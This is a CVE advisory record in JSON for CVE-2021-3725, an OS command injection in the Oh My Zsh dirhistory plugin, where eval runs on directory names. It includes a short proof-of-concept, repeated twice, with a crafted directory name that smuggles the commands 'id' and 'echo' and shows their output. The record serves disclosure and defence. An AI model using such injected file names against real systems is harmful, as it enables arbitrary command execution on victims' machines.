{"containers":{"cna":{"affected":[{"product":"ohmyzsh/ohmyzsh","vendor":"ohmyzsh","versions":[{"lessThan":"06fc5fb","status":"affected","version":"unspecified","versionType":"custom"}]}],"descriptions":[{"lang":"en","value":"Vulnerability in dirhistory plugin Description: the widgets that go back and forward in the directory history, triggered by pressing Alt-Left and Alt-Right, use functions that unsafely execute eval on directory names. If you cd into a directory with a carefully-crafted name, then press Alt-Left, the system is subject to command injection. Impacted areas: - Functions pop_past and pop_future in dirhistory plugin."}],"exploits":[{"lang":"en","value":"Exploit PoC:\n\n1. Install Oh My Zsh.\n2. Enable the dirhistory plugin.\n3. Open a terminal and create and cd into a directory like so:\n\n   baddir=\"directory';id;echo 'pwned\"\n   mkdir \"$baddir\" && cd \"$baddir\"\n\n4. Press Alt-Left to go back to previous directory (in macOS, use Option-Left).\n\n5. id and echo pwned are executed:\n\n   $ <Alt-Left>\n   uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),...\n   pwned"}],"metrics":[{"cvssV3_1":{"attackComplexity":"HIGH","attackVector":"NETWORK","availabilityImpact":"HIGH","baseScore":7.5,"baseSeverity":"HIGH","confidentialityImpact":"HIGH","integrityImpact":"HIGH","privilegesRequired":"NONE","scope":"UNCHANGED","userInteraction":"REQUIRED","vectorString":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","version":"3.1"}}],"problemTypes":[{"descriptions":[{"cweId":"CWE-78","description":"CWE-78 OS Command Injection","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2021-11-30T09:30:14.000Z","orgId":"c09c270a-b464-47c1-9133-acb35b22c19a","shortName":"@huntrdev"},"references":[{"tags":["x_refsource_MISC"],"url":"https://github.com/ohmyzsh/ohmyzsh/commit/06fc5fb"}],"title":"OS Command Injection in ohmyzsh/ohmyzsh","x_legacyV4Record":{"CVE_data_meta":{"ASSIGNER":"security@huntr.dev","ID":"CVE-2021-3725","STATE":"PUBLIC","TITLE":"OS Command Injection in ohmyzsh/ohmyzsh"},"affects":{"vendor":{"vendor_data":[{"product":{"product_data":[{"product_name":"ohmyzsh/ohmyzsh","version":{"version_data":[{"version_affected":"<","version_value":"06fc5fb"}]}}]},"vendor_name":"ohmyzsh"}]}},"data_format":"MITRE","data_type":"CVE","data_version":"4.0","description":{"description_data":[{"lang":"eng","value":"Vulnerability in dirhistory plugin Description: the widgets that go back and forward in the directory history, triggered by pressing Alt-Left and Alt-Right, use functions that unsafely execute eval on directory names. If you cd into a directory with a carefully-crafted name, then press Alt-Left, the system is subject to command injection. Impacted areas: - Functions pop_past and pop_future in dirhistory plugin."}]},"exploit":[{"lang":"en","value":"Exploit PoC:\n\n1. Install Oh My Zsh.\n2. Enable the dirhistory plugin.\n3. Open a terminal and create and cd into a directory like so:\n\n   baddir=\"directory';id;echo 'pwned\"\n   mkdir \"$baddir\" && cd \"$baddir\"\n\n4. Press Alt-Left to go back to previous directory (in macOS, use Option-Left).\n\n5. id and echo pwned are executed:\n\n   $ <Alt-Left>\n   uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),...\n   pwned"}],"impact":{"cvss":{"attackComplexity":"HIGH","attackVector":"NETWORK","availabilityImpact":"HIGH","baseScore":7.5,"baseSeverity":"MEDIUM","confidentialityImpact":"HIGH","integrityImpact":"HIGH","privilegesRequired":"NONE","scope":"UNCHANGED","userInteraction":"REQUIRED","vectorString":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","version":"3.1"}},"problemtype":{"problemtype_data":[{"description":[{"lang":"eng","value":"CWE-78 OS Command Injection"}]}]},"references":{"reference_data":[{"name":"https://github.com/ohmyzsh/ohmyzsh/commit/06fc5fb","refsource":"MISC","url":"https://github.com/ohmyzsh/ohmyzsh/commit/06fc5fb"}]}}},"adp":[{"providerMetadata":{"orgId":"af854a3a-2127-422b-91ae-364da2661108","shortName":"CVE","dateUpdated":"2024-08-03T17:01:08.297Z"},"title":"CVE Program Container","references":[{"tags":["x_refsource_MISC","x_transferred"],"url":"https://github.com/ohmyzsh/ohmyzsh/commit/06fc5fb"}]}]},"cveMetadata":{"assignerOrgId":"c09c270a-b464-47c1-9133-acb35b22c19a","assignerShortName":"@huntrdev","cveId":"CVE-2021-3725","datePublished":"2021-11-30T09:30:14.000Z","dateReserved":"2021-08-19T00:00:00.000Z","dateUpdated":"2024-08-03T17:01:08.297Z","state":"PUBLISHED"},"dataType":"CVE_RECORD","dataVersion":"5.1"}